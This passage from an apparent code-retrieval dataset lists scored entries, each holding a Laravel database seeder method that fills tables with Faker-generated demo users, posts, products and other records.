'name' => 'stranger_things',\n // 'tags' => 'ficção científica terror stranger things',\n // 'image' => 'img/subtitles/2.jpg'\n // ]);\n }", "title": "" }, { "docid": "a588006023396ad869db35ab527a8de3", "score": "0.7834768", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n App\\User::create([\n 'name' => 'Edwin Berrones',\n 'email' => '[email protected]',\n 'password' => bcrypt('password')\n ]);\n\n factory(App\\User::class,7)->create();\n\n App\\Page::create([\n 'parent_id' => null,\n 'title' =>'Quienes Somos',\n 'slug' => 'quienes-somos',\n 'body' => 'Contenido de quienes somos'\n ]);\n App\\Page::create([\n 'parent_id' => 1,\n 'title' =>'Mision',\n 'slug' => 'mision',\n 'body' => 'Contenido de mision'\n ]);\n App\\Page::create([\n 'parent_id' => 1,\n 'title' =>'Visión',\n 'slug' => 'vision',\n 'body' => 'Contenido de visión'\n ]);\n }", "title": "" }, { "docid": "23fc2582c778ab121016a1dcfdd759ea", "score": "0.783114", "text": "public function run()\n {\n // factory(App\\User::class,3)->create()->each( function ($u){\n // $u->questions()\n // ->saveMany(\n // factory(App\\Question::class,rand(1,10))->make()\n // )\n // ->each( function ($q){\n // $q->answers()->saveMany(\n // factory(App\\Answer::class,rand(1,10))->make());\n // });\n // });\n $this->call([\n UsersQuestioinsAnswersTableSeeder::class,\n FavoritesTableSeeder::class,\n ]);\n\n\n }", "title": "" }, { "docid": "be996d54e9fb664edd803dd89c0dc4bd", "score": "0.7825527", "text": "public function run()\n {\n $faker = Faker::create();\n \n $usersFirstId = DB::table('users')->first()->id;\n $usersLastId = DB::table('users')->orderBy('id', 'desc')->first()->id;\n \n $bookFirstId = DB::table('books')->first()->id;\n $bookLastId = DB::table('books')->orderBy('id', 'desc')->first()->id;\n\n foreach(range(1, 1000) as $index)\n {\n $title = $faker->unique()->sentence(6, true);\n\n App\\Chapter::create([\n 'title' => $title,\n 'body' => $faker->paragraphs(10, true),\n 'user_id' => $faker->numberBetween($usersFirstId, $usersLastId),\n 'book_id' => $faker->numberBetween($bookFirstId, $bookLastId),\n 'chapter_number' => $faker->numberBetween(1, 100),\n ]);\n }\n }", "title": "" }, { "docid": "f6dc4609cca6cf6bd78a9f97198e56a4", "score": "0.7819647", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n// factory(\\App\\User::class, 3)->create()->each(function ($u){\n// $u->questions()\n// ->saveMany(\n// factory(\\App\\Entities\\Question::class, 10)->make()\n// )->each(function ($q){\n// $q->answers()->saveMany(\n// factory(\\App\\Entities\\Answer::class, 5)->make());\n// });\n// });\n\n $this->call([\n UsersQuestionsAnswersSeederTable::class,\n FavoritesTableSeeder::class,\n VotablesTableSeeder::class\n ]);\n }", "title": "" }, { "docid": "956f25a4c7cc9da2e0a940bb5265e60c", "score": "0.78092104", "text": "public function run()\n {\n $this->call([PostSeeder::class, TestimonialSeeder::class, FeatureSeeder::class, UserSeeder::class, SupplierSeeder::class, PelangganSeeder::class, BarangSeeder::class]);\n Post::factory(100)->create();\n Testimonial::factory(100)->create();\n Feature::factory(100)->create();\n User::factory(100)->create();\n Supplier::factory(100)->create();\n Pelanggan::factory(100)->create();\n Barang::factory(100)->create();\n }", "title": "" }, { "docid": "f8ac191c4299c4107519bcb4cdccfa6d", "score": "0.78073287", "text": "public function run()\n {\n Test::create([\n 'title' => 'Geography quiz',\n 'description' => 'Level Medium',\n 'creator_id' => 1\n ]);\n\n Test::create([\n 'title' => 'Film quiz',\n 'description' => 'Easy Level',\n 'creator_id' => 1\n ]);\n\n Test::create([\n 'title' => 'Quiz About Serbia',\n 'description' => 'Interesting quiz about Serbia',\n 'creator_id' => 1\n ]);\n }", "title": "" }, { "docid": "20041f6c95a7ad095fc34d5c8643d83b", "score": "0.7797085", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n $faker = \\Faker\\Factory::create();\n \n\n for ($i = 0; $i < 5; $i++) {\n Brand::create([\n 'brand' => $faker->colorName,\n ]);\n }\n\n for ($i = 0; $i < 1000; $i++) {\n Product::create([\n 'title' => $faker->firstName,\n 'brand_id' => $faker->randomFloat(0, 1, 5),\n 'price' => $faker->randomFloat(2, 1, 200),\n 'stock' => $faker->randomDigitNotNull,\n ]);\n }\n\n }", "title": "" }, { "docid": "25e6cdb62aff5d94a16d69a5439214ae", "score": "0.779697", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n //resetea los datos en la tabla\n DB::table('users')->truncate();\n\n //generar 3 dummy data\n $faker = Factory::create();\n DB::table('users')->insert([\n [\n 'name' => 'Felipe Guzman',\n 'slug' => 'felipe-guzman',\n 'email' => '[email protected]',\n 'password' => bcrypt('abc123'),\n 'bio' => $faker->text(rand(250,300)),\n ],\n [\n 'name' => 'Zenyan Aguilar',\n 'slug' => 'zenyan-aguilar',\n 'email' => '[email protected]',\n 'password' => bcrypt('abc123'),\n 'bio' => $faker->text(rand(250,300)),\n ],\n [\n 'name' => 'Sairam Victor',\n 'slug' => 'sairam-victor',\n 'email' => '[email protected]',\n 'password' => bcrypt('abc123'),\n 'bio' => $faker->text(rand(250,300)),\n ],\n ]);\n }", "title": "" }, { "docid": "32a2232f3d1d5ea08df727a9c7a69d75", "score": "0.779003", "text": "public function run()\n {\n $this->call(DefaultSeeder::class) ;\n factory(\\App\\Models\\Plan::class , 4)->create() ;\n factory(\\App\\Models\\User::class , 4)->create() ;\n factory(\\App\\Models\\Skill::class , 5)->create() ;\n factory(\\App\\Models\\Tag::class , 5)->create() ;\n factory(\\App\\Models\\Team::class , 5)->create() ;\n factory(\\App\\Models\\Offer::class , 10 )->create() ;\n }", "title": "" }, { "docid": "f15513b08c6fda42784450f41d980b0b", "score": "0.7789292", "text": "public function run()\n {\n Eloquent::unguard();\n $faker = Faker::create();\n\n User::create(array(\n 'username' => 'admin',\n 'password' => Hash::make('1234'),\n 'email' => $faker->email,\n 'real_name' => 'Admin',\n 'bio' => $faker->paragraph(2),\n 'status' => rand(1,2),\n 'role' => rand(1,3)\n ));\n\n foreach(range(1, 5) as $index) {\n\n User::create(array(\n 'username' => $faker->username,\n 'password' => Hash::make('1234'),\n 'email' => $faker->email,\n 'real_name' => $faker->name,\n 'bio' => $faker->paragraph(2),\n 'status' => rand(1,2),\n 'role' => rand(1,3)\n ));\n }\n }", "title": "" }, { "docid": "e4c9ba7954feb9cfa0a7fefe094d8564", "score": "0.77871126", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $faker = Faker::create();\n\n foreach(range(1,10) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->firstName().\" \".$faker->lastName(),\n 'email' => $faker->email(),\n 'password' => $faker->password(8, 10)\n ]);\n }\n\n foreach(range(1,500) as $index) {\n DB::table('posts')->insert([\n 'title' => \"Test title \".$index,\n 'user_id' => rand(1, 10),\n 'created_at' => $faker->dateTime(),\n 'description' => $faker->realText(300)\n ]);\n }\n\n foreach(range(1,100) as $index) {\n DB::table('api_settings')->insert([\n 'user_id' => rand(1, 10),\n 'created_at' => $faker->dateTime(),\n 'api_url' => $faker->url(),\n 'execute_duration_min' => $faker->randomDigitNotZero(),\n 'active' => 1\n ]);\n }\n }", "title": "" }, { "docid": "0e08ab7cad8ab347ef3e18b50142ec83", "score": "0.7782642", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Companies::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Companies::create([\n 'name' => $faker->sentence,\n 'address' => $faker->paragraph,\n 'register' => $faker->sentence,\n 'register' => $faker->sentence,\n ]);\n }\n }", "title": "" }, { "docid": "cd7e32e7e364836a454670866b3d074c", "score": "0.7780464", "text": "public function run()\n {\n \n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n \n $sports = \\App\\Sport::count();\n $athletes = \\App\\Athlete::all();\n \n \\App\\AthleteSport::truncate();\n\n foreach($athletes as $athlete) {\n $faker = Faker::create();\n $num = $faker->numberBetween($min = 1, $sports);\n foreach (range(1, $num) as $index) {\n \t$athleteSport = null;\n $athleteSport = [\n \t\t'athlete_id' => $athlete->id,\n \t \t'sport_id' => $faker->unique()->numberBetween($min = 1, $sports),\n \t];\n \\App\\AthleteSport::insert($athleteSport);\n }\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 1');\n }", "title": "" }, { "docid": "fcdf580f296bd0e60026617575d35bfb", "score": "0.7779978", "text": "public function run()\n {\n //the seeds for the database\n $faker = Faker\\Factory::create();\n \n // add 50 rows of random data \n for ($i=0; $i < 100; $i++) { \n \tDB::table('people')->insert([\n 'fullname' => $faker->name,\n 'email' => $faker->safeEmail,\n 'username' => $faker->userName,\n 'bio' => $faker->paragraphs(3, true), // 3 paragraphs\n 'dob' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'address' => $faker->address,\n 'city' => $faker->city,\n 'country' => $faker->country,\n 'created_at' => $faker->dateTime(),\n 'updated_at' => $faker->dateTime(),\n ]);\n }\n }", "title": "" }, { "docid": "116c4c002815026563a6ef61bdcb8adf", "score": "0.77790236", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $user = [\n [\n 'id' => 1,\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'password' => '$2y$10$VOunUZVMv4bwC84FJngVdORh/3WOQsLYXcHOTcmsVFWTVWWg.V8/i',\n ],\n [\n 'id' => 2,\n 'name' => 'Moderator1',\n 'email' => '[email protected]',\n 'password' => '$2y$10$VOunUZVMv4bwC84FJngVdORh/3WOQsLYXcHOTcmsVFWTVWWg.V8/i',\n ]\n ];\n\n User::insert($user);\n $roles = [\n [\n 'id' => 1,\n 'slug' => 'admin',\n 'name' => 'admin',\n ],\n [\n 'id' => 2,\n 'slug' => 'moderator',\n 'name' => 'moderator',\n ]\n ];\n\n Role::insert($roles);\n DB::insert('insert into role_users (user_id , role_id ) values (?, ?)', [1, 1]);\n DB::insert('insert into role_users (user_id , role_id ) values (?, ?)', [2, 2]);\n }", "title": "" }, { "docid": "3c949d52077e0db0bf7c90f5b29eabad", "score": "0.77679646", "text": "public function run() {\n // $this->call([\n // // UsersTableSeeder::class,\n // CategoriesTableSeeder::class,\n // FeaturesTableSeeder::class,\n // CategoriesFeaturesTableSeeder::class,\n // ]);2\n $faker = Faker::create();\n \tforeach (range(1,1000) as $index) {\n // DB::table('users')->insert([\n // 'name' => $faker->name,\n // 'email' => $faker->email,\n // 'password' => '$2y$10$KVtGj.pcxfb9LULEfl.V5e9thw7uD/EltKyF.YLM5I.62p12AW.M6'\n // ]);\n }\n \n }", "title": "" }, { "docid": "c338a8143abd0aa6de80d25bcd16e5db", "score": "0.7763477", "text": "public function run()\n {\n User::create([\n 'name' => 'Mark Timbol',\n 'email' => '[email protected]',\n 'password' => bcrypt('marktimbol')\n ]);\n\n $this->call(CategoriesTableSeeder::class);\n $this->call(CountriesTableSeeder::class);\n $this->call(CitiesTableSeeder::class);\n $this->call(CommunitiesTableSeeder::class);\n $this->call(DeveloperProjectsTableSeeder::class);\n \n $dubaiMarina = Community::whereSlug('dubai-marina')->first();\n $dubaiMarinaProjects = factory(Project::class, 20)->create();\n $dubaiMarina->projects()->attach($dubaiMarinaProjects);\n\n $alBarsha = Community::whereSlug('al-barsha')->first();\n $alBarshaProjects = factory(Project::class, 20)->create();\n $alBarsha->projects()->attach($alBarshaProjects);\n }", "title": "" }, { "docid": "5af20842f0b240dcaf799e4568ffce6d", "score": "0.77591217", "text": "public function run()\n {\n $this->call(UserSeeder::class);\n\n factory(User::class,10)->create();\n factory(Category::class,15)->create();\n factory(Post::class,50)->create();\n factory(Tag::class,15)->create();\n factory(Comment::class,120)->create();\n factory(Reply::class,130)->create();\n factory(PostTags::class,130)->create();\n }", "title": "" }, { "docid": "da5fffc94550003fbe56b2c441388391", "score": "0.7752597", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker\\Factory::create('es_ES');\n factory(\\App\\User::class)->create(['name'=>'Jaime', 'email'=>'[email protected]']);\n factory(\\App\\User::class, 10)->create();\n factory(\\App\\Pedido::class,300)->create(['estado'=>'1']);\n factory(\\App\\Pedido::class,4)->create(['ciclo'=>4, 'tipo'=>1]);\n factory(\\App\\Pedido::class,2)->create(['ciclo'=>4, 'tipo'=>2]);\n factory(\\App\\Pedido::class,20)->create(['ciclo'=>4, 'tipo'=>0]);\n\n\n for ($x=1;$x<10;$x++)\n factory(\\App\\Pedido::class,30)->create(['ciclo'=>'-'.$x, 'estado'=>1]);\n }", "title": "" }, { "docid": "5ca13e4d8e9752ae47bfa4492ce893c5", "score": "0.77516305", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n Storage::disk('public')->deleteDirectory('img/products');\n Storage::disk('public')->makeDirectory('img/products');\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n factory(User::class, 1000)->create();\n factory(Category::class, 35)->create();\n factory(Product::class, 1000)->create()->each(\n function($producto) {\n $categorias = Category::all()->random(mt_rand(1,5))->pluck('id');\n $producto->categories()->attach($categorias);\n }\n );\n\n // factory(Product::class, 5)->create();\n factory(Transaction::class, 1000)->create();\n }", "title": "" }, { "docid": "1aeb0f6e2c20aac4aaddb740c61f3cf4", "score": "0.7746306", "text": "public function run()\n { \n $this->call(ClubsTableSeeder::class);\n $this->call(RoleTableSeeder::class);\n \n factory(App\\User::class, 12*16)\n ->create()\n ->each(function ($user) {\n $user->posts()->saveMany(factory(App\\Post::class,3)->make());\n });\n \n $roles = App\\Role::where('id', 1)->orWhere('id',2)->get();\n \n // Populate the pivot table\n App\\User::all()->each(function ($user) use ($roles) { \n $user->roles()->attach(\n $roles->random(rand(1, 2))->pluck('id')->toArray()\n ); \n });\n \n $this->call(AdminsTableSeeder::class);\n }", "title": "" }, { "docid": "8e478ab8956c119c1daa5a85db8f26c0", "score": "0.77443904", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(GeneroSeeder::class);\n $this->call(AutorSeeder::class);\n \\App\\Models\\Autor::factory(20)->create();\n $this->call(AlbumSeeder::class);\n \\App\\Models\\Album::factory(20)->create();\n //$this->call(MusicSeeder::class);\n \\App\\Models\\Music::factory(100)->create();\n $this->call(UserSeeder::class);\n \\App\\Models\\Playlist::factory(15)->create();\n }", "title": "" }, { "docid": "77387d5346be4ebc32ea82a84ad1c0b3", "score": "0.77421665", "text": "public function run()\n {\n\n\t\tif(env('DB_DRIVER')=='mysql')\n\t\t\tDB::statement('SET FOREIGN_KEY_CHECKS=0;');\t\n\n\t\t\tDB::table('answers')->truncate();\n\n $faker = Faker::create();\n \t$questions = Db::table('questions')->lists('id') ;\n\n \tforeach (range(1,200) as $key => $value ) {\n\n \t\tAnswer::create([ \t\t\n \t\t'body'=>$faker->paragraph(1),\n \t\t'question_id'=>$faker->randomElement($questions) ,\n \t\t'type'=>$faker->boolean(40) ,\n \t\t\n\t ]);\n \t}\n\n \tif(env('DB_DRIVER')=='mysql')\n\t\t\t\tDB::statement('SET FOREIGN_KEY_CHECKS=1;') ;\n }", "title": "" }, { "docid": "0706cff7931a6fd371675b0f69a9d51e", "score": "0.77419823", "text": "public function run()\n {\n $faker = Faker::create();\n foreach (range(1,10) as $index) {\n\t DB::table('test')->insert([\n\t 'title' => $faker->realText(100),\n\t 'description' => $faker->paragraph,\n\t ]);\n\t}\n //\n }", "title": "" }, { "docid": "63957e597c45497e1cd3421c8405524c", "score": "0.7739582", "text": "public function run()\n {\n /**\n * IMPORTANT!\n * The database seed is written to handle the task centralized\n * It should use:\n * php artisan db:seed\n * -> You can not run the seeds separately, it could cause errors!\n */\n if (App::environment() === 'production') exit();\n\n Eloquent::unguard();\n\n // Truncate all tables, except migrations\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n $tables = DB::select('SHOW TABLES');\n foreach ($tables as $table) {\n if ($table->{'Tables_in_' . env('DB_DATABASE')} !=='migrations')\n DB::table($table->{'Tables_in_' . env('DB_DATABASE')})->truncate();\n }\n\n $this->call(UsersTableSeeder::class);\n factory(User::class, 5)->create();\n $this->call(RolesTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n\n $this->call(CategoriesTableSeeder::class);\n factory(Category::class, 10)->create();\n\n factory(Post::class, 100)->create();\n\n factory(Tag::class, 20)->create();\n $this->call(PostTagTableSeeder::class);\n\n factory(Comment::class, 250)->create();\n }", "title": "" }, { "docid": "49b2b4ac0093486f3766a78be628cf9d", "score": "0.77362096", "text": "public function run()\n {\n // disable foreign key constraints\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Let's clear the users table first\n Post::truncate();\n $faker = \\Faker\\Factory::create();\n\n // And now let's generate a few dozen users for our app:\n for ($i = 0; $i < 20; $i++) {\n Post::create([\n 'user_id' => $faker->randomElement(User::pluck('id')->toArray()),\n 'product_id' => $faker->randomElement(Product::pluck('id')->toArray()),\n 'content' => $faker->text,\n 'rate' => $faker->numberBetween($min = 0, $max = 5),\n 'type' => random_int(1, 2),\n 'status' => 0,\n 'created_at' => $faker->dateTime,\n 'updated_at' => $faker->dateTime,\n ]);\n }\n\n // enable foreign key constraints\n DB::statement('SET FOREIGN_KEY_CHECKS = 1');\n }", "title": "" }, { "docid": "97a1ea8742a6ef6fb3e2139bb57564a2", "score": "0.7729526", "text": "public function run()\n {\n\n factory(User::class, 50)->create();\n factory(Post::class, 500)->create();\n factory(Category::class, 500)->create();\n factory(Tag::class, 500)->create();\n\n\n foreach(range(1, 500) as $index) {\n DB::table('post_tag')->insert([\n 'post_id' => rand(1,500),\n 'tag_id' => rand(1,500)\n ]);\n }\n\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "55e769395ecdcc89e6b64f247fbd3518", "score": "0.77293444", "text": "public function run()\n {\n factory(Category::class,10)->create();\n factory(User::class,10)->create();\n factory(Page::class,100)->create();\n factory(Post::class,10)->create();\n $this->call(SettingTableSeeder::class);\n $this->call(PermissionSeeder::class);\n $this->call(RoleSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(UserSeeder::class);\n }", "title": "" }, { "docid": "42ea8b4b43fab2b1cead746a505bfabd", "score": "0.7729193", "text": "public function run()\n {\n // Create the user seed data first\n factory(App\\User::class, 3)->create();\n\n // For each row in user table, seed the question table using the user id\n App\\User::all()->each(function ($user) {\n $user->questions()->saveMany(\n factory(App\\Question::class, rand(1, 5))->make()\n );\n });\n\n // For each row in question table, seed the answer table using the question id\n App\\Question::all()->each(function($question) {\n $question->answers()->saveMany(\n factory(App\\Answer::class, rand(1, 5))->make()\n );\n });\n\n // Generate best answer\n// App\\Question::all()->each(function($question) {\n// $answers = $question->answers->all();\n// $random_index = rand(0, count($answers) - 1);\n// $question->best_answer_id = $answers[$random_index]->id;\n// $question->save();\n// });\n }", "title": "" }, { "docid": "2e62719468d1dda1ea398517e921623f", "score": "0.772829", "text": "public function run()\n\t{\n\t\t// DB::table('seasons')->truncate();\n\n\t\t$seasons = Seasons::create(\n\t\t\tarray(\n\t\t\t\t'year' => '2015',\n\t\t\t\t'name' => 'Test Entry',\n\t\t\t)\n\t\t);\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i = 0; $i < 100; $i++)\n\t\t{\n\t\t\t$seasons = Seasons::create(\n\t\t\t\tarray(\n\t\t\t\t\t'year' => $faker->year+1,\n\t\t\t\t\t'name' => $faker->name\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\tDB::table('seasons')->insert($seasons);\n\t}", "title": "" }, { "docid": "8611f202e38780592c9ef29ea2f0b791", "score": "0.77242553", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('categories')->insert(\n [\n 'category' => 'СТИЛЬ ЖИЗНИ',\n 'created_at' => now(),\n 'updated_at' => now(),\n ]\n );\n DB::table('categories')->insert(\n [\n 'category' => 'ПРИРОДА',\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n\n DB::table('categories')->insert([\n 'category' => 'НАУКА И ТЕХНОЛОГИИ',\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n DB::table('categories')->insert([\n 'category' => 'СПОРТ',\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'Test',\n 'email' => '[email protected]',\n 'password' => bcrypt('Test'),\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n }", "title": "" }, { "docid": "23dbacb2bda791ceb293720ba888b3c7", "score": "0.7723611", "text": "public function run()\n {\n \n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Admin::create([\n 'Nome' => \"Peppino\".$i,\n 'Cognome' => \"Di Capri\".$i,\n 'Partita_IVA' => \"ABSNAP\".$i,\n 'Cellulare' => 3292403737\n ]);\n }\n }", "title": "" }, { "docid": "e00bfb565b59d9ca4418a2f07e3210d4", "score": "0.7722183", "text": "public function run()\n {\n //\n $faker = Faker::create();\n \tforeach (range(1,10) as $index) {\n\t DB::table('eleves')->insert([\n\t 'eleveNom' => $faker->name,\n\t 'elevePrenom' => $faker->name,\n 'eleveEmail' => $faker->email,\n 'eleveMotDePasse' => bcrypt('secret'),\n\t ]);\n }\n }", "title": "" }, { "docid": "af1bb381c09ff7c49767eac3a7795980", "score": "0.7715914", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n DB::statement('TRUNCATE roles;');\n DB::statement('TRUNCATE users;');\n DB::statement('TRUNCATE permissions;');\n DB::statement('TRUNCATE model_has_roles;');\n DB::statement('TRUNCATE model_has_permissions;');\n DB::statement('TRUNCATE role_has_permissions;');\n // $this->call(UsersTableSeeder::class);\n\t$this->call(PermissionSeed::class);\n $this->call(RoleSeed::class);\n $this->call(UserSeed::class);\n $this->call(ClientSeed::class);\n DB::statement(\"UPDATE users SET client_id=(SELECT id FROM clients WHERE email='[email protected]' LIMIT 1) WHERE id IN (4,5,6);\");\n $this->call(PaymentSeed::class);\n// \n $this->call(SettingSeed::class);\n $this->call(InvoiceSeed::class);\n $this->call(InvoiceItemSeed::class);\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "af1beeb0278e75da32ba9d81befedab8", "score": "0.771235", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('vendings')->insert([\n [\n 'name' => '飲み物A',\n 'price' => 50,\n 'store' => 20,\n ],\n [\n 'name' => '飲み物B',\n 'price' => 100,\n 'store' => 20,\n ],\n [\n 'name' => '飲み物C',\n 'price' => 1000,\n 'store' => 20,\n ],\n ]);\n\n DB::table('money')->insert([\n [\n 'money' => 10000000,\n ],\n ]);\n }", "title": "" }, { "docid": "8f3176b2c1372354ce4d072983bd96dd", "score": "0.7711102", "text": "public function run()\n {\n $faker = Faker::create('en_EN');\n\n DB::table('users')->insert([\n 'name' => 'Udra',\n 'email' => '[email protected]',\n 'password' => Hash::make('321'),\n ]);\n\n $titles = ['Nile', 'Amazon', 'Yangtze (Chang Jiang)', 'Mississippi - Missouri', 'East China Sea', 'Bering Sea', 'Salisbury Steak', 'Lena', 'Tocantins', 'Congo', 'Mississippi', 'Baltic Sea'];\n foreach (range(1, 20) as $_) {\n DB::table('reservoirs')->insert([\n 'title' => $titles[rand(0, count($titles) - 1)],\n 'area' => rand(1, 10000),\n 'about' => $faker->realText(300, 5),\n 'photo' => rand(0, 2) ? $faker->imageUrl(200, 250) : null,\n ]);\n }\n \n foreach(range(1, 200) as $_) {\n DB::table('members')->insert([\n 'name' => $faker->firstname,\n 'surname' => $faker->lastname,\n 'live' => $faker->city,\n 'experience' => rand(1, 75),\n 'registered' => rand(1942, 2021),\n 'reservoir_id' => rand(1, 20),\n ]);\n }\n\n }", "title": "" }, { "docid": "b48e5de7a6a0d2cac77c79b391688816", "score": "0.77105963", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class, 10)->create();\n factory(Admin::class, 10)->create();\n factory(Teacher::class, 5)->create();\n }", "title": "" }, { "docid": "b25778737debb82bd77f23b2efb424d1", "score": "0.77104986", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n \n User::truncate();\n Countrie::truncate();\n Gender::truncate();\n Language::truncate();\n Marital_status::truncate();\n Tp_doc::truncate();\n \n // $this->call(UsersTableSeeder::class);\n $this->call(GendersTableSeeder::class);\n $this->call(LanguagesTableSeeder::class);\n $this->call([\n MaritalStatusTableSeeder::class,\n TpDocTableSeeder::class\n ]);\n \n $numberOfCountries = 10;\n $numberOfGeoDiv = 6;\n $numberOfUsers = 4;\n // $numberGenders = 2;\n \n factory(Countrie::class, $numberOfCountries)->create();\n factory(Geo_div::class, $numberOfGeoDiv)->create();\n factory(User::class, $numberOfUsers)->create();\n // factory(Gender::class, $numberGenders)->create();\n \n }", "title": "" }, { "docid": "5f4d219ac831015d78b31fdb4af21b5b", "score": "0.77084506", "text": "public function run() {\n\n Model::unguard();\n\n factory(\\App\\User::class, 50)->create();\n $this->call(RoleSeeder::class);\n $this->call(RoleUserSeeder::class);\n\n// factory(\\App\\Topic::class, 100)->create();\n// factory(\\App\\Lesson::class, 800)->create();\n// factory(\\App\\Talkshow::class, 400)->create();\n\n $this->call(SubscriptionSeeder::class);\n//\n// factory(\\App\\UserSubscription::class, 400)->create();\n// factory(\\App\\LessonComment::class, 1000)->create();\n// factory(\\App\\Discussion::class, 100)->create();\n// factory(\\App\\Comment::class, 200)->create();\n//\n// $this->call(MessageSeeder::class);\n//\n $this->call(PermissionSeeder::class);\n Model::reguard();\n }", "title": "" }, { "docid": "6b2493de5fea9a371dd5078ec9616986", "score": "0.7705614", "text": "public function run() {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Article::truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'title' => $faker->sentence,\n 'body' => $faker->paragraph,\n 'category_id' => Category::all()->random()->id,\n 'user_id' => User::where('name', '!=', 'administrator')->get()->random()->id\n ]);\n }\n }", "title": "" }, { "docid": "6acb64825bfa1a3072e865ec35773568", "score": "0.7705237", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(RegionsTableSeeder::class);\n if (env('APP_ENV') !== 'production') {\n factory('App\\Course', random_int(4, 20))->create()->each(function ($u) {\n $u->partecipants()->saveMany(factory('App\\Partecipant', random_int(0, 10))->create());\n });\n factory('App\\Newsletter', 40)->create();\n }\n }", "title": "" }, { "docid": "fe3d75f986c8ef86affd93ffcbe4f1b3", "score": "0.77030534", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Leave::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n Leave::create([\n 'start' => $faker->dateTime($max = 'now', $timezone = null) ,\n 'end' => $faker->dateTime($max = 'now', $timezone = null) ,\n 'type' => $faker->randomElement($array = array ('to-do','doing','done')),\n 'status' => $faker->tld,\n 'note' => $faker->tld,\n 'leaver_id' => $faker->randomElement(User::pluck('id')->toArray()),\n 'substitution_id' => $faker->randomElement(User::pluck('id')->toArray()),\n 'task_id' => $faker->randomElement(Task::pluck('id')->toArray()),\n ]);\n }\n }", "title": "" }, { "docid": "eaa6899b083a2e9c2048d0920bf74ee3", "score": "0.7702869", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n /* Aaron\n Creating fake data using the factory we have build (check ProductFactory.php & ReviewFactory.php)\n related method can be found in https://laravel.com/docs/5.7/database-testing \n */\n factory(App\\Admin::class, 1)->create();\n factory(App\\User::class, 5)->create();\n factory(App\\Model\\Product::class, 50)->create();\n factory(App\\Model\\Review::class, 300)->create();\n\n }", "title": "" }, { "docid": "56f0117f9d53d6c4e10ca79fd5e61274", "score": "0.7702363", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n // factory(App\\ProjectCategory::class, 1)->create();\n factory(App\\Project::class, 7)->create();\n factory(App\\BlogTag::class, 5)->create();\n factory(App\\Blog::class, 30)->create();\n }", "title": "" }, { "docid": "4aa546f3e906da512820e950aeb295cb", "score": "0.76948255", "text": "public function run()\n {\n $faker = Faker\\Factory::create();\n\n foreach(range(1, 100) as $index){\n DB::table('books')->insert([\n 'title' => $faker->word(),\n 'preview' => $faker->sentence(),\n 'author_id' => \\App\\Models\\Author::orderByRaw(\"RAND()\")->first()->id,\n 'created_at' => Carbon\\Carbon::now(),\n 'updated_at' => Carbon\\Carbon::now(),\n ]);\n }\n }", "title": "" }, { "docid": "e05a69b7743ce4d86f92f88fab013a54", "score": "0.76939416", "text": "public function run()\n {\n $faker = \\Faker\\Factory::create();\n //clear the users table\n User::truncate();\n $password = Hash::make(1234567);\n $roles = Role::all()->pluck('id')->toArray();\n\n User::create([\n 'firstname' => 'ebuka',\n 'lastname' => 'ubah',\n 'username' => 'godofspeed',\n 'password' => $password,\n 'role_id' => 1\n ]);\n\n for($i=0; $i<12; $i++) {\n User::create([\n 'firstname' => $faker->firstName,\n 'lastname' => $faker->lastName,\n 'username' => $faker->userName,\n 'password' => $password,\n 'role_id' => $faker->randomElement($roles)\n ]);\n }\n }", "title": "" }, { "docid": "2a12625c28576dc61fcc574ba45a3bd9", "score": "0.76936173", "text": "public function run()\n {\n $faker = Faker::create('id_ID');\n\n for($i = 1; $i <= 50; $i++) {\n DB::table('users')->insert([\n 'id' => $faker->unique()->randomNumber($nbDigits = 8),\n 'name' => $faker->name,\n 'email' => $faker->unique()->email,\n 'email_verified_at' => 